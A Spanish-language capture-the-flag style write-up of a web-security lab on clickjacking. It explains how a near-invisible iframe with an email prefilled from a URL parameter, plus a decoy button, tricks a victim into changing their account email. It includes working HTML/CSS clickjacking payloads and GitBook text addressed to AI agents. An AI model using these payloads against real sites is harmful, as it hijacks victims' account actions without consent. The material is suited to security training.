> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/clickjacking/clickjacking-with-prefilled-form-inputs.md).

# Clickjacking con campos de formulario prellenados mediante parámetro de URL

### Clickjacking con datos de entrada de formulario rellenados previamente desde un parámetro de URL

Cambia la dirección de correo electrónico de un usuario aprovechando un formulario en la página de la cuenta que acepta un `correo electrónico` parámetro en la URL. El ataque consiste en mostrar la página objetivo en un `iframe` (casi invisible) y animar a la víctima a hacer clic en un elemento falso "Haz clic en mí". El laboratorio se resuelve cuando se ha cambiado el correo electrónico de la cuenta.

#### Credenciales proporcionadas

* Usuario: `wiener`
* Contraseña: `peter`
* La página de gestión de la cuenta usa un token CSRF, pero este token se procesa en la misma página — no impide una actualización si el formulario se envía desde dentro del `iframe` cargado desde el dominio de destino.

<figure><img src="/files/f9f966d0526d6a7a2686d826e2072e6454d19f78" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/212e7be4034e7e588561319675ffa17f77e1fbdf" alt=""><figcaption></figcaption></figure>

* Es posible rellenar previamente el campo de correo electrónico pasando `?email=<valor>` en la URL de la `/my-account` página. Ejemplo: `?email=jordan@test.com`.

<figure><img src="/files/a77969596f94bdd14416b1aae1b5d99f915bcbab" alt=""><figcaption></figcaption></figure>

```javascript
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src="https://0aea005903313cc281be1bec00ad002d.web-security-academy.net/my-account?email=hacked@jordan.com" </iframe>
```

<figure><img src="/files/cbbb08bb50959335101984b3e2777e8befb52c26" alt=""><figcaption></figcaption></figure>

1. Cargue la página de la cuenta vulnerable en un `iframe` añadiendo el `correo electrónico` parámetro con la dirección que desea imponer.
2. Haga que el `iframe` sea casi invisible (baja opacidad o posicionamiento) para superponer un elemento desencadenante visible en la página de ataque.
3. Coloque un botón/etiqueta falso de "Click" que la víctima pulsará y que coincida espacialmente con el botón real "Update Email" en `iframe`.
4. Cuando la víctima hace clic, el clic se pasa en realidad al botón del formulario en `iframe` y envía el formulario con el correo electrónico rellenado previamente.

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 455px;
left: 80px;
}
</style>
<div>Haz clic</div>
<iframe src="https://0aea005903313cc281be1bec00ad002d.web-security-academy.net/my-account?email=hacked@jordan.com" </iframe>
```

<figure><img src="/files/b48352c3aa45fd774d200160aad518f56b7f2301" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/clickjacking/clickjacking-with-prefilled-form-inputs.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
